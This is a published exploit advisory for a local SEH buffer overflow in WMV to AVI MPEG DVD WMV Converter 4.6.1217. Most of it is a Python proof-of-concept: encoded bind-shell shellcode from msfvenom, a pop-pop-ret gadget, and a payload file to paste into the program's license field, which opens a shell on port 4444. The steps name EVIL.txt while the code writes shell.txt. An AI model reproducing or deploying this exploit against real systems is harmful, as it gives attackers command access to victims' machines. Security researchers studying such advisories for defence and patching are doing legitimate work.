WMV To AVI MPEG DVD WMV Converter 4.6.1217 Buffer Overflow

2019.11.01
Credit: Doan Nguyen
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

# Exploit Title: WMV to AVI MPEG DVD WMV Convertor 4.6.1217 - Buffer OverFlow (SEH) # Google Dork: N/A # Date: 2019-10-30 # Exploit Author: Doan Nguyen (4ll4u) # Vendor Homepage:https://www.alloksoft.com/ # Software Link: https://www.alloksoft.com/wmv.htm # Version: v4.6.1217 # Tested on: Windows XP SP3 # CVE : N/A # Reference from : [1] https://www.exploit-db.com/exploits/47563 # 1.- Run python code :poc.py # 2.- Open EVIL.txt and copy content to clipboard # 3.- Open WMV to AVI MPEG DVD WMV Convertor and Click 'EnterKey' # 4.- Paste the content of EVIL.txt into the Field: 'License Name and License Code' # 5.- Click 'OK' and you will get a bind shell on port 4444 #msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -b '\x00' -f hex #We need to create meaningful characters when pasting into the password on the application (allow characters include:\x21->\x7E in ASCII TABLE) shellcode = ( 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"\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x6F\x57\x32\x45\x2D\x6F\x57\x32\x45\x2D\x6F\x59\x34\x47\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x35\x2C\x45\x43\x2D\x35\x2C\x45\x43\x2D\x37\x2C\x46\x45\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x69\x4A\x5A\x6D\x2D\x69\x4A\x5A\x6D\x2D\x6A\x4A\x5C\x6F\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x2F\x54\x6B\x5E\x2D\x2F\x54\x6B\x5E\x2D\x2F\x56\x6B\x60\x50" "\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x40\x25\x6E\x55\x2D\x40\x25\x6E\x55\x2D\x41\x26\x6E\x57\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x52\x6F\x33\x2D\x2D\x52\x6F\x33\x2D\x2D\x52\x70\x33\x2F\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x3A\x6E\x6D\x3D\x2D\x3A\x6E\x6D\x3D\x2D\x3B\x6E\x6E\x3E\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x4E\x3D\x41\x4F\x2D\x4E\x3D\x41\x4F\x2D\x4F\x3D\x42\x4F\x50" "\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x49\x28\x48\x64\x2D\x49\x28\x48\x64\x2D\x4A\x28\x49\x64\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x73\x2E\x5A\x59\x2D\x73\x2E\x5A\x59\x2D\x74\x2E\x5A\x59\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x4E\x68\x29\x3A\x2D\x4E\x68\x29\x3A\x2D\x4F\x68\x2B\x3B\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x21\x32\x38\x36\x2D\x21\x32\x38\x36\x2D\x22\x32\x38\x36\x50" "\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x53\x4C\x2B\x47\x2D\x53\x4C\x2B\x47\x2D\x54\x4C\x2B\x47\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x5C\x2F\x47\x6B\x2D\x5C\x2F\x47\x6B\x2D\x5E\x31\x47\x6B\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x6D\x35\x37\x5C\x2D\x6D\x35\x37\x5C\x2D\x6D\x35\x39\x5D\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x28\x35\x41\x22\x2D\x28\x35\x41\x22\x2D\x28\x36\x43\x22\x50" "\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x2D\x40\x6F\x2B\x2D\x2D\x40\x6F\x2B\x2D\x2F\x41\x6F\x2C\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x20\x42\x3C\x2B\x2D\x20\x42\x3C\x2B\x2D\x21\x43\x3E\x2D\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x3F\x4E\x54\x2B\x2D\x3F\x4E\x54\x2B\x2D\x3F\x50\x54\x2B\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x29\x69\x53\x44\x2D\x29\x69\x53\x44\x2D\x2B\x6A\x54\x46\x50" "\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x62\x6B\x6F\x39\x2D\x62\x6B\x6F\x39\x2D\x62\x6C\x6F\x39\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x67\x6C\x40\x26\x2D\x67\x6C\x40\x26\x2D\x69\x6E\x41\x27\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x49\x59\x36\x44\x2D\x49\x59\x36\x44\x2D\x4A\x59\x37\x46\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x61\x68\x61\x2E\x2D\x61\x68\x61\x2E\x2D\x61\x68\x63\x2E\x50" "\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2D\x70\x6f\x6f\x6f\x50\x50\x50" # push 12 NOP ) alignment = "\x54\x58\x2d\x54\x54\x54\x54\x2d\x37\x63\x54\x54\x2d\x25\x31\x57\x57\x50\x5C" # stack alignment 001292C0 - 0012AA10 jump_short = "\x90\x90\xEB\x08" # jump to 00129A44 pop_pop_ret ="\x09\x9a\x01\x10" # pop pop ret in SkinMagic.dll buffer = "\x41" * 780 + jump_short + pop_pop_ret + "\x41\x41\x41\x41" + alignment + shellcode + (6000 - 780 - 4 - 4 - len(shellcode) - len(alignment)) * "\x45" try: f=open("shell.txt","w") print "[+] Creating %s bytes evil payload.." %len(buffer) f.write(buffer) f.close() print "[+] File created!" except: print "File cannot be created"


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